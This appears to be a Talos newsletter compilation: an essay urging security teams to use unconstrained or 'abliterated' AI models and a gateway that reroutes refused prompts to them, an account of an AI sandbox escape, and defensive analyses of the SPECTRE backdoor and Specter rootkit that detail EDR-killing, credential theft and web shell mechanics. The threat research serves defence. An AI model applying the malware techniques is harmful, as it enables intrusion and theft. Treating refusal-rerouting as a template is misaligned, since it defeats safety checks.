Meanwhile, the adversary pays none of this penalty.
A warning from the frontier
In July 2026, an unreleased OpenAI model escaped its sandbox and compromised Hugging Face’s production infrastructure. It wasn’t an external hack, but an unintended "breakout" during testing, with its guardrails deliberately stripped for the exercise.
The telling part came during the response. When Hugging Face tried to use its primary cloud LLM to investigate the breach, the model refused the forensic request. The "safe" model, in this context, was an obstacle. To get the analysis done, Hugging Face pivoted to an unconstrained open-weight model, GLM-5.2, which delayed their response.
Hugging Face could make that pivot because they host open-weight models for a living and have the expertise to bypass a refusal on short notice. Most organizations don’t have that muscle. If your defensive model refuses a task mid-crisis, you’ve handed the adversary the advantage.
That asymmetry is already being exploited. After state-sponsored actors were banned from frontier APIs, they simply moved their research to self-hosted, unconstrained models. The rise of AI-driven attacks is old news by now; what’s new is how lopsided this is about to become, with defenders slowed by refusals while adversaries are iterating at machine speed with nothing in their way.
Guardrail asymmetry
Attackers don’t even need to jailbreak anything. Models like GLM-5.2 and Kimi k3 are readily available with far fewer restrictions than Western frontier APIs, and "abliteration" (stripping the safety training out of an existing model) remains an option for anyone who wants to go further. Mostly, they don’t have to. They can just pick a model that doesn’t refuse them.
Most defenders don’t have that option. Cloud APIs are tuned toward a kind of cyber do-no-harm designed to keep bad guys from using them to build attacks. This is the same refusal bias that ends up blocking security teams trying to analyze those attacks. In a defensive context, erring on caution often means erring in the attacker’s favor. Every refused request costs the defender the one resource they can’t get back: time.
This trade-off used to be worth it. A few months ago, frontier models were far enough ahead on reasoning and code generation that the friction from their guardrails was a fair price. But the newest frontier models, like Anthropic’s Fable, are shipping with sharper cyber capabilities and even tighter guardrails to match. Meanwhile, open-weight alternatives have closed most of the reasoning gap that used to justify putting up with those guardrails in the first place.
Either way, the calculus is shifting: Defenders are increasingly paying for restrictions without getting a capability edge in return.
Defining operational sovereignty
The way out is what I’d call operational sovereignty — not to be confused with data sovereignty, which is about where your data lives and how it’s treated. Operational sovereignty is about who gets the final say over what your AI is allowed to do.
A sovereign SOC needs its AI technology to be at least on par with that of their adversaries. They either need to have a fallback on hand when their model refuses to complete a task or to use a model that will not offer refusals in the first place. That does not mean there should be no safeguards placed around the models, just that the safeguards should be under the control of the organization itself rather than imposed upon them from the outside.
Security operations also shouldn’t be hostage to a vendor’s shifting alignment policy, or frequent behind-the-scenes model updates that may change behavior subtly and unexpectedly (known as model drift). Operational sovereignty means a policy change in Silicon Valley doesn’t quietly break your defensive workflow overnight. It’s what lets you keep pace with an adversary who was never bound by those policies to begin with.
The roadmap: From convenience to collective defense
Getting there isn’t all-or-nothing. The right path depends on risk tolerance and how much infrastructure a team can realistically manage.
Private infrastructure
The most direct route is to host the model yourself, on your own GPUs or a dedicated private cloud instance, so you own the weights and the policy outright.
The benefit: There’s no safety penalty because there’s no third party to impose one. You’re free to choose any model that fits your needs, guardrails included or not.
The downside: Physical scarcity, expertise, and high upfront cost. GPU procurement can take months, the capital outlay is steep, and running your own inference stack takes specialized talent most security teams don’t have on staff.
Model-as-a-Service
Model-as-a-Service splits the difference. Providers like Baseten or Together AI, or platforms like Amazon Bedrock or Microsoft Foundry, let you bring your own model to infrastructure they manage, without layering their own safety refusals on top.
The benefit: It removes the safety penalty while offloading the hardware burden. You get the control of private infrastructure with the scalability of the cloud.
The downside: Dedicated capacity that avoids provider-side filters is often in short supply. Falling back to shared clusters solves the availability problem but can reintroduce the same guardrails, and the same data-sharing concerns, you were trying to escape.
The hybrid fallback
The most architecturally involved option is to keep frontier cloud models for most day-to-day tasks but add an automated handling path for the rest. A gateway watches for refusals and reroutes those prompts to a smaller, unconstrained model you control.
The benefit: A guaranteed response with minimal upfront infrastructure investment. You stay on the cutting edge of cloud capability while neutralizing the safety penalty.
The downside: Keeping the fallback model’s read of a prompt consistent with the primary’s, so a refused request lands the same way with both. If the fallback is a local model, you’re also managing two systems in parallel — a smaller maintenance burden than hosting it all yourself, but not zero.
Collective inference
The most speculative option, and the one I find most interesting: evolving the ISAC/ISAO model into collective inference. Industry groups already share threat intelligence, so why not pool the infrastructure too? A sector could jointly fund a shared, unconstrained model, maybe even one tuned to its own threat landscape, governed by its members rather than a vendor.
The benefit: A community-governed "brain" as capable as any frontier model, answerable only to the defenders who fund it.
The downside: Governance. Members have to agree on usage and safety policy, and during a sector-wide incident, everyone would be hitting the same shared infrastructure at once.
Reclaiming the defensive advantage
You can’t manage what you don’t measure. If an AI assistant is supposed to be a force multiplier, every refusal during a live incident multiplies by zero. Security leadership should treat those refusals as a structural failure of a non-sovereign stack, not an occasional annoyance.
Start by auditing your refusal rate. That number is the most direct way to put a figure on the safety penalty your organization is actually paying. Once you know it, the path forward gets a lot clearer.
The adversary has already claimed its own sovereignty, running at full throttle with no guardrails to slow them down. Defenders need to manage their safeguards to keep pace.
This is my first Threat Source newsletter, so I should probably introduce myself before I start telling you all the things I think you should be paying attention to. With assistance from an unnamed LLM, my bio reads like this:
Mick Baccio is a globally recognized security strategist with a career spanning offensive operations, threat intelligence, and national-level incident response. He currently advises organizations around the world through his role at Talos, helping security leaders improve operations through data-informed approaches. Mick was the first-ever Chief Information Security Officer for a U.S. presidential campaign (2020) and previously served in multiple White House administrations as Threat Intelligence Branch Chief.
In his spare time, Mick is the Founder and President of THRUNT® Corp, IANS Faculty, and a KC7 Cyber Foundation board member.
DEFCon Goon and Purveyor of Fine Experience.
Veteran.
I also have a cat named qwerty and own too many Air Jordans.
I’ve spent most of my career somewhere in the intersection of threat intelligence, cybersecurity, government, and the people trying to make sense of all of it. These days, i spend a lot of time thinking about the decisions we make about security ripple outward, often in ways we didn't consider. Most of my ramblings will probably center around that. There will be threats. There will be intelligence. Occasionally something weird, but always something that caught my eye, and maybe worth checking out.
Which brings us this week. I picked a hell of a week to start.
Last Wednesday, the White House issued a presidential memorandum titled “Expanding Capabilities to Combat Transnational Cyber-Enabled Crime.” You should probably read it. The memorandum directs the DOJ and DHS to establish a program that can use private companies to conduct cyber operations against transnational criminal organizations outside the United States — beyond providing intelligence and assisting in the investigation. The memorandum explicitly envisions private companies conducting cyber surveillance and cyber effects operations under the direction and delegated authority of the U.S. government.
This is a pretty big thing.
For years, this industry has debated where line should exist between defending a network and reaching through the wire. We’ve debated hack back, active defense, attribution, proportional response, collateral damage, and what roles private companies have in offensive cyber operations. This is absolutely not “hack back" and calling it that misses important oversight built into the memorandum.
At the same time, let’s be clear about what we are reading. The United States is creating a mechanism for private companies to participate directly in government-authorized offensive cyber operations against systems outside the United States. There will be plenty of debate whether this is good or bad policy; I will leave that for someone else. I’m much more interested in the operational questions it creates.
Who establishes attribution strongly enough to authorize an operation? What happens when criminal and state infrastructure overlap? What happens when infrastructure is compromised and used as an ORB? Who owns access discovered during one of these operations? How is intelligence collected by a private company handled? What happens when a company conducting these operations also provides security services in that country?
Most importantly (in my head): What happens when another country discovers that employees of an American cybersecurity company are conducting offensive operations against infrastructure inside its borders?
This is not an argument against disrupting cybercrime. I’m all for it. These are questions about what happens when we fundamentally change who gets to do the disrupting.
What we have today is a framework. In 60 days, we should have a much better idea of what this will look like in practice, so circle that on your calendar. The memorandum gives DOJ and DHS 60 days to establish the operating procedures for the program, and no operation can be approved until those procedures are in place.
In the area between “private cybersecurity company” and “authorized participant in U.S. offensive cyber operations,” the threat model for that company and its employees just changed considerably.
The biggest question isn’t “Does this work?”
It’s whether we’ve fully considered what happens if it does.
Talos posted two blogs on UAT-10147, a recently discovered Chinese-speaking cybercrime group that uses agentic AI to orchestrate sophisticated post-compromise operations across global web servers. UAT-10147 uses AI to generate operational playbooks, automate exploits, and develop custom malware. This includes the newly identified SPECTRE implant, a cross-platform backdoor featuring a custom Linux kernel rootkit and Bring Your Own Vulnerable Driver (BYOVD) capabilities designed to completely blind endpoint detection and response (EDR) solutions.
Why do I care?
The integration of agentic AI into offensive workflows means threat actors can now scale complex attacks with ruthless efficiency. UAT-10147 is using AI to dynamically troubleshoot, validate exploit paths, and generate custom rootkits that neutralize organizations' security stacks from the kernel level up. When an adversary can automate their reconnaissance and seamlessly blind your EDR, your window for detection shrinks drastically.
So now what?
Defenders need to prioritize patching known one-day vulnerabilities in internet-facing applications like Zimbra, Nacos, and Telerik UI. Since UAT-10147 relies heavily on stolen ASP.NET MachineKeys for ViewState deserialization attacks, locking down your key material is an absolute must. You should also block known vulnerable drivers to shut down their BYOVD attacks, and tune your network monitoring to catch the anomalous HTTP 500 errors they use to silently validate exploits. Read bothblogs for comprehensive coverage and indicators of compromise (IOCs).
Top security headlines of the week
Critical GitLab zero-click flaw poses mitigation challenges GitLab wants organizations running self-managed versions of its software development and DevOps platform to immediately upgrade to new versions released Monday, but patching is not going to eliminate the risk to enterprises and others managing projects there. (Dark Reading)
SANS 2026 AI Survey reveals cybersecurity AI adoption outpaces governance The survey found that 61% of cybersecurity practitioners now use AI in red team activities, while 76% have an enterprise AI governance role. Yet more than half said formal audit frameworks are not in place, and only 27% described their AI deployment as mature production. (Industrial Cyber)
“Unprecedented” number of Apple users received recent spyware alert, say investigators Several people publicly and privately reported receiving Apple’s spyware alerts over the weekend, after Apple sent out a new wave of notifications on Friday alerting customers in 110 countries that they had been targeted with powerful spyware. (TechCrunch)
Critical macOS, SharePoint, vCenter, and Microsoft IKE flaws under active exploitation The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added four critical vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog, stating they are being exploited in the wild. (The Hacker News)
Can’t get enough Talos?
Describing attacks with crime script analysis Martin explores how using crime script analysis to describe an attack with everyday language makes the situation accessible to non-technical audiences and identify points where the crime can be disrupted.
Beers with Talos: For the record, no comment Kaitlin Acharya joins the crew to take us inside what happens when Talos spots something that could become a major threat, how her team tracks changes in threat actor behavior, and how intelligence moves from an investigation into detection content.
Don't scan that! QR code phishing and cloud-native threats What happens when a QR code leads to a major security incident? In this episode, Amy sits down with Senior Incident Response Consultant Terryn Valikodath to break down a recent, high-stakes breach at an Australian medical center.
UAT-10147 is a highly capable Chinese-speaking intrusion actor operating a multi-platform post-exploitation ecosystem targeting IIS and Linux servers, combining search engine optimization (SEO) fraud monetization with advanced persistence and defense evasion techniques.
The newly identified SPECTRE implant represents a significant evolution in commodity intrusion tooling, integrating cross-platform command-and-control (C2) operations, process injection, credential theft, anti-analysis protections, and kernel-level endpoint detection and response (EDR) bypass functionality.
The actor demonstrates operational maturity through the combined use of custom malware, open-source offensive tooling, Bring Your Own Virtual Driver (BYOVD) based EDR neutralization, Linux kernel rootkits, and sophisticated in-memory web shell deployment techniques.
Cisco Talos’ analysis of recovered source code suggests portions of the Linux rootkit development may have incorporated AI-assisted code generation workflows, highlighting the growing role of generative AI in accelerating offensive malware development.
In our previous blog, Cisco Talos documented how UAT-10147 operationalized AI-assisted exploitation workflows to compromise internet-facing IIS and Linux servers at scale. This blog discusses how UAT-10147 is employing a diverse arsenal of tools, including SEO fraud utilities, local privilege escalation tools, and both off-the-shelf and custom developed backdoors.
To thoroughly analyze their toolkit, the following section is divided into three parts, detailing the specific tools used and their respective capabilities. We also assess that UAT-10147 is gradually incorporating AI-assisted development into its operations, likely to support the creation and refinement of tools used across its campaigns. Specifically, both its custom-developed backdoor, SPECTRE, and custom-developed rootkit, Specter, exhibit indications of AI-assisted development.
Figure 1. Gradual adoption of AI-assisted development workflows.
Talos also observed several SEO fraud-related components used in this campaign that we assess with medium confidence to be associated with “x神” (“xshen”), who is mentioned in a previously released Talos post. This assessment is supported by multiple development artifacts embedded in the BadIIS malware and related tooling.
The BadIIS samples used in this activity contain the following PDB paths:
Beyond these xshen-related development artifacts, other components in the campaign also contain references to “X.” The ASHX SEO engine configuration includes a string named “X-seo,” while the web shell uses an “X-ID” HTTP header to transmit a specific token. This header appears to support covert authentication by blending the web shell’s control traffic into otherwise routine HTTP communications.
SPECTRE: A new cross-platform backdoor
SPECTRE is a cross-platform backdoor written in C.
Figure 2. Windows version of SPECTRE. Figure 3. Linux version of SPECTRE.
Talos named this backdoor "SPECTRE" based on a debug log recovered from one of the observed samples. This log meticulously records each step of the malware's execution process and explicitly displays its name in the header. The contents of the observed log file are provided in Figure 4.
Figure 4. SPECTRE debug log.
Windows version
The Windows variant of SPECTRE distinguishes itself from the stock Havoc framework through custom post-exploitation and defense evasion capabilities compiled directly into the binary. Furthermore, the implant heavily prioritizes obfuscation and anti-analysis by utilizing a dual layered defense strategy. First, API resolution is executed entirely at runtime via PEB hash walking, using a DJB2 variant algorithm. Second, string encryption relies on a per-string xorshift32 pseudorandom number generator (PRNG) scheme. Sensitive literals are encrypted at compile time with unique 32-bit seeds, decrypted to thread local storage immediately before execution, and never stored in plaintext within the “.text” or “.rdata” sections. Consequently, static detection methods are largely ineffective against the implant's indicators.
Figure 5. Xorshift32 PRNG scheme.
SPECTRE has a feature to execute a weighted anti-analysis scoring routine that evaluates process name blocklists, RAM capacity, CPU core count, disk space, sleep acceleration detection, and common sandbox host names and usernames. If the cumulative score reaches or exceeds 50 points, the process self-terminates.
Figure 6. Windows anti-sandbox scoring.
A fallback C2 domain is hardcoded within the binary and can be recovered through string decryption. All C2 communications are transmitted via HTTP POST requests to the “/api/v1/register” and “/api/v1/output” endpoints. Additionally, Talos observed a specific version of the implant attempting to read its C2 configuration from an NTFS Alternate Data Stream (ADS) located at “C:\Windows\System32\drivers\etc\hosts:cache”. This strategy allows the threat actor to easily update the C2 configuration by modifying the ADS, thereby circumventing firewall blocklists without needing to recompile the binary.
Talos observed 45 commands in this SPECTRE backdoor. 24 appear as plaintext comparands, and 21 are encrypted with the xorshift PRNG and decrypted at each dispatch.
Commands
Encrypted
Description
shell
sh
No
Execute shell command
pwd cd
No
Print/change working directory
ls
No
Directory listing
cat
No
Read file
mkdir
No
Create directory
rm
No
Delete file/directory
cp
No
Copy file
mv
No
Move/rename file
download
No
Send file to C2
upload
No
Receive file from C2
ps
No
Process list
kill
No
Terminate process by PID
env
No
Environment variables information
sleep
No
Set beacon sleep interval
sysinfo
No
OS/hardware information
screenshot
No
Screen capture
whoami
No
Current user/token info
netinfo
No
Network interface information
timestomp
No
Modify file timestamps
rev2self
No
Revert impersonation token
getprivs
No
List current token privileges
selfdel
No
Delete implant file on disk
reg
No
Registry read operations
exit
No
Terminate beacon
regset
Yes
Write REG_SZ or REG_DWORD value: regset <HKLM|HKCU>\path value data [REG_DWORD]
inject
Yes
DLL injection (default: svchost.exe)
s-nject
Yes
Shellcode injection
getsystem
Yes
Privilege escalation
steal_token
Yes
Token theft from target PID
make_token
Yes
Spawn token with credentials
earlybird
Yes
APC EarlyBird injection
hollow
Yes
Process hollowing injection
keylog_start
Yes
Start keystroke logger
keylog_stop
Yes
Stop keystroke logger
keylog_dump
Yes
Retrieve keylog buffer
hashdump
Yes
Dump SAM/SYSTEM/SECURITY hives
chromedump
Yes
Copy Chrome & Edge Login Data + Local State to ld/ls/ed_ld/ed_ls .tmp
execute_assembly
Yes
In-memory .NET CLR hosting - execute any .NET assembly without disk write
vaultdump
Yes
Spawn cmd key/list with captured pipe
byovd_load
Yes
Load RTCore64/DBUtil driver
byovd_unload
Yes
Unload and clean driver
edr_kill
Yes
Kill EDR processes
callbacks
Yes
Enumerate kernel callbacks
proc_hide
Yes
Hide process from kernel list
byovd_verify
Yes
Verify kernel R/W
auto_protect
Yes
Status dashboard/ADS clear
Table 1. Windows version command list.
During our research, Talos noticed the encrypted commands are specific features for this backdoor. The features can be divided into three categories: 1) process injection, 2) privilege escalation and credential theft, and 3) BYOVD EDR killer capabilities.
Process injection capabilities
SPECTRE supports three distinct injection modalities, all managed through a unified handler. The first is standard process hollowing, which targets “svchost.exe” by default. The second is APC EarlyBird injection, which utilizes pre-allocated memory to deliver shellcode before the target thread can execute a single instruction. The third is an automated, on-startup self-hollowing technique targeting “RuntimeBroker.exe”; this executes directly from main() to conceal the implant and evade EDR visibility.
Privilege escalation and credential theft capabilities
The SPECTRE implements named pipe impersonation for privilege escalation. It creates a pipe named “\.\pipe\spectre_<tid>” and acquires a SYSTEM token via ImpersonateNamedPipeClient. With SYSTEM privileges, three registry hives HKLM\SAM\SAM, HKLM\SYSTEM, and HKLM\SECURITY are saved to “%TEMP%” via RegSaveKeyA for offline NT hash extraction using Impact “secretsdump.py”.
Beyond hive dumping, SPECTRE provides two additional credential theft functions:
Vaultdump: Spawns cmdkey.exe /list with stdout capture to enumerate Windows Credential Manager entries without any LSASS access
Chromedump: Copies Chrome and Edge login data and local state files to “%TEMP%” for offline DPAPI decryption via SharpChrome
BYOVD EDR killer
SPECTRE downloads one of two well-known vulnerable driver from the C2 — either RTCore64.sys from MSI (associated with CVE-2019-16098) or DBUtil_2_3.sys from Dell (associated with CVE-2021-21551). It then decodes and writes the driver to disk under %TEMP%, installs it as a transient kernel service via the SCM, and opens an IOCTL handle to the device.
Figure 9. Vulnerable kernel drivers.
Leveraging arbitrary kernel read/write primitives exposed by these drivers, SPECTRE uses NtQuerySystemInformation to locate “ntoskrnl.exe” in the kernel address space. It then references a hardcoded, per-build offset table covering 13 Windows versions to calculate the exact kernel virtual addresses for PspCreateProcessNotifyRoutine, PspCreateThreadNotifyRoutine, and PspLoadImageNotifyRoutine. By performing targeted kernel writes, the SPECTRE safely unlinks each registered EDR callback from its doubly-linked list. Consequently, kernel-callback-dependent security products are rendered completely blind to new process creations, thread creations, and image load events for the remainder of the session, successfully neutralizing EDR visibility on the target machine.
Figure 10. Blinding EDR.
Linux version
The SPECTRE Linux variant’s structure is the same as the Windows variant. It is a statically-linked ELF x86-64 binary targeting Linux systems. Upon execution, SPECTRE immediately invokes an eight-factor anti-sandbox scoring engine before establishing C2 connection. If the cumulative score reaches or exceeds the threshold of 50, the binary exits silently without generating any observable indicators.
Figure 11. Linux anti-sandbox scoring.
Following successful anti-sandbox validation, SPECTRE beacons to its hardcoded C2 domain with a JSON payload, which is the same as the Windows version.
Figure 12. Linux hardcoded C2.
Rather than 45 commands in the Windows variant, the Linux version of SPECTRE only has 29 commands, none of which result in obfuscation or encryption.
Command
Description
shell
/bin/sh
Execute arbitrary shell command
pwd
Print current working directory
cd
Change working directory
ls
List directory contents
ps
List running processes
cat
Read file contents
download
Exfiltrate binary file
upload
Write file to disk
env
Dump or query environment
sleep
Set agent sleep/jitter
kill
Kill a process by PID
mkdir
Create directory
rm
Delete file or directory
cp
Copy file
mv
Move/rename file
sysinfo
Detailed system information
whoami
Print UID/GID with names
id
Print UID/GID/groups (alias)
netinfo
Network interface information
timestomp
Modify file timestamps
rootkit_load
Load kernel module
rootkit_hide
Hide process from /proc
rootkit_root
Elevate to UID 0
rootkit_hide_mod
Hide kernel module from lsmod
rootkit_status
Check rootkit loaded state
rootkit_persist
Install systemd persistence unit
rootkit_unload
Unload kernel module
selfdel
Self-delete
exit
Terminate
Table 2. Linux version command list.
The backdoor's command set encompasses comprehensive file system manipulation, system and process reconnaissance, agent management, and unrestricted shell execution. A particularly notable feature is the timestomp command, an anti-forensics mechanism that utilizes the utimensat() function and operator-provided timestamps to alter a file's modification, access, and change times.
SPECTRE's most critical capability is its integrated kernel-level rootkit, called Specter. The rootkit is deployed as a loadable kernel module disguised as “acpi_pad.ko”, allowing it to mimic the legitimate ACPI processor power management module. To maintain persistence, it utilizes a fraudulent systemd unit file named “hardware-monitor.service” and bears the description "Hardware Performance Monitor." Crucially, this service is configured with “Before=sysinit.target”, ensuring the rootkit executes on every system boot prior to the initialization of any security tooling.
Figure 13. Kernel module disguised as “acpi_pad.ko”.
The user level communicates with the loaded kernel module through a signal-based IPC mechanism, issuing kill() syscalls targeting a magic PID value of 0x7A69 (decimal 31337, a well-known "elite" hacker cultural) with specific real-time signal numbers encoding the desired operation:
Signal 62 triggers process hiding by removing the target task_struct from the kernel PID list, rendering “/proc/<pid>” invisible.
Signal 36 hides the module itself from lsmod by unlinking THIS_MODULE from the kernel module linked list.
Signal 37 escalates the implant process to UID 0 by directly overwriting the process credential structure.
Signal 35 serves as a module load acknowledgement handshake.
This architecture grants the threat actor persistent, kernel-level control of the compromised host that survives both reboots and most user-level security controls.
Figure 14. Magic PID value of 31337.
Specter Linux rootkit
The SPECTRE backdoor loads the Linux Kernel rootkit, Specter, to prevent detection from security products. Based on the SPECTRE Linux version we observed, the compiled artifact is deployed disguised as “acpi_pad.ko”. Rather than patching the syscall table, the hook mechanism rootkit uses the Linux kernel's native “ftrace” instrumentation framework with “FTRACE_OPS_FL_IPMODIFY” to redirect execution at the function entry point of six syscall handlers:
hooked_tcp6_seq_show
hooked_tcp4_seq_show
hooked_tkill
hooked_tgkill
hooked_kill
hooked_getdents64
Because “ftrace” is a legitimate kernel debugging interface, this approach produces minimal noise in kernel integrity checks.
Figure 15. Specter functions.
Talos investigated the source code of the Specter rootkit and assesses with medium confidence that UAT-10147 leveraged a combination of AI-assisted development and human expertise in the creation of this rootkit, which is designed to be invoked directly by SPECTRE.
The first evidence is the documentation structure. The opening feature list at the top of the source code is a product spec, not a developer's note. A complete bulleted feature list with parenthetical technical elaborations on each point reads as a response to a prompt such as, "Write a rootkit with the following features." It is the AI narrating what it is about to produce.
Figure 16. Specter’s opening comments.
The second piece of evidence is the rigid, uniform style of the decorative separators. The identical width and formatting applied consistently across all 10+ logical sections exhibit a machine-like uniformity that is a classic hallmark of AI-generated output. In addition, this text exhibits a pedagogical tone. An actual developer authoring a rootkit would not need to explain basic concepts to themselves, such as the function of taint flags or the mechanics of “cat /proc/sys/kernel/tainted”. The content is clearly structured as an educational explanation for a reader, rather than authentic, internal developer notes.
Figure 17. Specter’s uniform separators and educational explanations.
The last piece of evidence is that the inclusion of three distinct methods — explicitly labeled with inline comments such as “Method 1,” “Method 2, and “Method 3” — is a common artifact of AI generation. When prompted to be thorough, AI models tend to output all known approaches. In contrast, a human developer targeting a specific kernel would simply select and implement the single most effective method. This exhaustive, multi-method presentation is a classic example of an AI's completeness reflex.
Figure 18. Specter’s inclusion of three methods.
SEO fraud utilities
Regarding the SEO fraud utilities deployed in this attack, we observed two distinct types of malware. The first is the previously discussed BadIIS malware-as-a-service (MaaS) and the second is a C# ASHX SEO engine. While both tools share the same core capability of facilitating SEO fraud, their mechanisms for establishing persistence on the compromised server are fundamentally different.
ASHX SEO engine
This SEO hijacking web handler silently takes over an IIS application's request pipeline via reflection. Functionally, it mirrors standard BadIIS malware, serving fabricated content to search crawlers to poison rankings while delivering a malicious JavaScript payload to targeted users. Furthermore, the threat actor explicitly named it “public class SeoEngineHandler,” clearly communicating the tool's intended purpose.
Figure 19. SeoEngineHandler.
Talos also observed that SeoEngineHandler is specifically designed to target Vietnamese internet users. The handler's internal configuration contains several indicators that substantiate this geographic focus, such as the configured C2 domains utilizing the “vn[.]xyz” suffix, and the malware explicitly targets the crawler for “Cốc Cốc” (configured as coccoc), a prominent Vietnamese web browser and search engine.
Figure 20. SeoEngineHandler configuration.
MaaS BadIIS
The BadIIS variant observed in this attack is deployed to the compromised server within a ZIP archive containing both 32-bit and 64-bit versions of the malware, alongside an installation batch script. One of the recovered archives contained a service installer previously documented by Talos. Notably, the core malware is the specific variant detailed in that same Talos research, characterized by the “demo.pdb” string and confirmed to operate under a MaaS model.
Figure 21. BadIIS ZIP archive.
"Potato" family
Talos observed the threat actor utilizing multiple “Potato” family tools to achieve system level privileges. While some of these tools, such as GodPotato and JuicyPotato, were downloaded as pre compiled binaries from the internet, others, like EfsPotato and RustPotato, were compiled by the threat actor directly from source code. Notably, analysis of the custom compiled EfsPotato and RustPotato payloads revealed embedded PDB strings and local file paths, inadvertently exposing details about the threat actor's development environment. The environment suggests that they target IIS servers and compile these custom privilege escalation tools within a designated AI directory. The explicit use of an AI folder in their build path is a fascinating detail, strongly suggesting that the threat actor may be leveraging AI to assist in the development of these tools.
UAT-10147 leveraged other multiple backdoors throughout this attack. Their arsenal includes well-known commodity and open-source tools such as Gh0stCringe, QuasarRAT, Meterpreter, Noodle RAT, and a web shell.
Web shell
Talos observed a web shell with a sophisticated two layer architecture. The outer handler functions as a self bootstrapping loader that leverages in-memory dynamic compilation to execute its payload. Upon receiving the initial HTTP request, the handler reverses an obfuscated string, decodes it via Base64, and dynamically compiles the resulting code in memory using “CodeDomProvider”. To optimize execution and ensure thread safety, it caches the compiled assembly in a static field (_a) using double-checked locking, ensuring the payload is compiled only once per IIS worker process lifetime. Finally, the loader instantiates and invokes SHandler.ProcessRequest to manage all subsequent incoming requests.
Figure 22. Web shell loader.
The embedded handler functions as a versatile web shell implant, relying on a numeric parameter to dispatch its various operational modes. To maintain stealth, the shell employs a strict, multi-tiered authentication mechanism. It first inspects the X-ID HTTP header for a specific token; if absent, it falls back to checking the v parameter. If neither contains the exact value of "x9", the handler immediately halts execution and returns a deceptive “404 Not Found” error. This evasion technique allows the shell's covert authentication process to blend seamlessly into routine HTTP traffic.
A detailed breakdown of the supported commands and their corresponding actions is outlined below.
Command
Description
0 (default)
Get system information(MachineName | Username | OSVersion | CurrentPath)
1
Execute system command.
b = binary to run (default: cmd.exe)
g = arguments
2
Read file
3
Write file
4
Direct file download
5
Directory listing
Table 3. Web shell command list.
Figure 23. Web shell payload.
Meterpreter
Talos has observed UAT-10147 deploying reverse Meterpreter shells to maintain persistent access to compromised Linux hosts. The observed malware functions as a first stage shellcode dropper. Upon establishing a successful connection, this dropper retrieves a second stage payload designed to establish persistence and grant the threat actor full C2 over the victim's machine.
Figure 24. Meterpreter payload.
Noodle RAT
UAT-10147 also deployed Noodle RAT against targeted Linux servers, utilizing it as a final stage backdoor to ensure persistent access. The specific payload observed in this campaign is the Type 0x03A2 ELF variant, which was previously documented in research published by Trend Micro.
Figure 25. Backdoor command for Linux Noodle RAT.
QuasarRAT
Talos also observed UAT-10147 attempting to deploy QuasarRAT on compromised IIS servers to establish long-term persistence. A notable characteristic of this specific payload is its configured Campaign ID, which contains a derogatory Chinese string (“越南老逼”) toward Vietnamese elderly people. This artifact provides potential insight into the threat actor's sentiment or specific geographic targeting.
Figure 26. QuasarRAT configuration.
Gh0stCringe
In another observed instance, UAT-10147 deployed Gh0stCringe to establish persistence. To evade detection, the threat actor embedded the Gh0stCringe payload as shellcode within a custom Go-based loader.
Figure 27. A custom Go-based loader for Gh0stCringe.
Coverage
The following ClamAV signatures detect and block this threat:
Win.Malware.Generic-10060235-0
Win.Malware.Generic-10060218-0
Win.Malware.Generic-9883082-0
Win.Malware.BadPotato-10060230-0
Win.Exploit.Marte-10033857-0
Unix.Rootkit.Malware-10060258-0
Win.Tool.GodPotato-10019688-1
Unix.Rootkit.Spectre-10060260-0
Unix.Trojan.Backdoor-6678692-0
Win.Malware.Generic-10060252-0
Win.Malware.Ulise-10056576-0
Win.Malware.Generic-10060220-0
Win.Malware.BadIIS-10059985-0
Win.Tool.juicypotato-10041758-0
Unix.Backdoor.Msfvenom-10012672-0
Win.Loader. BadiisSet-10060291-1
Asp.Rootkit.Badiis-10060290-1
The following SNORT® rules (SIDs) detect and block this threat:
Snort2: 1:66690, 1:66688, 1:66689
Snort3: 1:66690, 1:301548
Indicators of compromise (IOCs)
The IOCs can also be found in our GitHub repository here.
Cisco Talos identified UAT-10147 targeting Windows and Linux web servers globally, impacting organizations in government, education, media, technology, and gaming sectors. The actor leveraged publicly disclosed vulnerabilities to gain initial access at scale.
UAT-10147 integrated AI-driven tooling into exploitation, reconnaissance, payload generation, validation, and persistence workflows. Talos observed AI-generated operational playbooks, exploit automation scripts, and troubleshooting logic supporting real-world intrusions.
The actor employed a mixture of open-source offensive frameworks, including Metasploit, ysoserial, PentestGPT, DeepAudit, and multiple privilege escalation exploits to automate intrusion operations and establish persistence.
Talos assesses that integrating AI-generated exploitation guidance, automation, and validation workflows enables threat actors to scale complex attacks more efficiently while reducing the expertise traditionally required for advanced post-compromise operations.
In early 2026, Cisco Talos discovered a Chinese-speaking cybercrime group, tracked as UAT-10147, that targets a wide range of vulnerable web servers. The group engages in multiple criminal activities, including search engine optimization (SEO) fraud and data theft.
This blog post provides an overview of the campaign, examining the countries affected and the potential impact of BadIIS infections. It also outlines UAT-10147's attack chain and post-compromise tactics.
Talos assesses with moderate-to-high confidence that UAT-10147 is among an emerging class of financially motivated intrusion operators leveraging agentic AI systems to operationalize offensive tradecraft at scale. Unlike traditional use of generative AI for simple scripting assistance, the actor demonstrated:
Iterative exploit refinement
Adaptive troubleshooting
Post-exploitation automation
Exploit validation workflows
Operational documentation generation
This indicates a transition from AI-assisted scripting toward semi-autonomous offensive orchestration.
Victimology
UAT-10147 targeted high-value internet-exposed web servers across multiple regions. Talos’ investigation shows affected servers located in Brazil, Bolivia, China, Canada, and Vietnam. These systems belong to organizations in sectors including government, universities, media, technology, and gaming.
From the threat actor’s command-and-control (C2) server open directory, we also identified a target list containing approximately 170,000 URLs stored in a text file. The actor appears aware that scanning the entire list at once is inefficient and time consuming. To improve performance, they split the large list into 17 files, each containing about 10,000 URLs. Additionally, the threat actor uses the letter “w” as a reference to the Chinese character “萬,” which represents 10,000.
Figure 1. Commands to split the large list.
Figure 2 shows the distribution of the target list across countries based on the IP addresses resolved from the 170,000 URLs.
Figure 2. Distribution of target list across countries.
UAT-10147 OPSEC failure
Talos identified this activity after observing a compromised machine communicating with a download server hosted at “139.180.197[.]150”. A review of this IP address revealed an open directory. Below provides a high-level view of this directory listing.
Figure 3. Open directory on download site.
Attack summary
Talos observed that the threat actor uses multiple methods to gain initial access to a victim’s network. After successfully achieving remote code execution (RCE) on a website or otherwise gaining access to the server, the actor typically runs an automated script to install and deploy malware for SEO fraud or data stealing. In some cases, the attacker instead installs a web shell, which allows them to manually set up the BadIIS malware and establish persistence through additional backdoor deployment.
Windows platform infection chain
Figure 4. Windows infection chain.
The attack uses multiple Windows batch scripts to carry out its objectives. Although some versions of the scripts contain minor variations, these differences do not affect the overall purpose. The following section highlights the primary batch files observed during the attack.
